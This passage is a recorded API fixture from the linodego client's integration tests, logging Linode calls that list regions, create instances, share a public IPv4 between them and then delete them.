"1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-nfrk3162zg00","firewall_id":1339169,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 68361118, "label": "go-test-ins-wo-disk-nfrk3162zg00", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.115.39"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "58b502ff98a4081434a97fe5a4f00bb7835d155c", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-q74140l6tive","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361118/configs method: POST response: body: '{"id": 71709962, "label": "go-test-conf-q74140l6tive", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-share","root_pass":":jA4B-9986E1b`07L=OQsHJ8?02K)69igK|S\\-0Dbd/2\u003eavNDji}~gan6vZ?g;G)","image":"linode/debian12","firewall_id":1339169,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 68361119, "label": "go-ins-test-share", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.115.59"], "ipv6": "1234::5678/128", "image": "linode/debian12", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "58aedbba0dcf59523f1880abcc80ec241436277e", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361119/ips method: POST response: body: '{"address": "194.195.115.63", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-63.ip.linodeusercontent.com", "linode_id": 68361119, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "270" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"ips":["194.195.115.63"],"linode_id":68361118}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/share method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361118/ips method: GET response: body: '{"ipv4": {"public": [{"address": "194.195.115.39", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-39.ip.linodeusercontent.com", "linode_id": 68361118, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}], "private": [], "shared": [{"address": "194.195.115.63", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-63.ip.linodeusercontent.com", "linode_id": 68361119, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}], "reserved": [], "vpc": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 68361118, "region": "ap-west", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 68361118, "region": "ap-west", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361119 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361118 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestIPAddress_Update.yaml000066400000000000000000002057561474652371000314470ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": 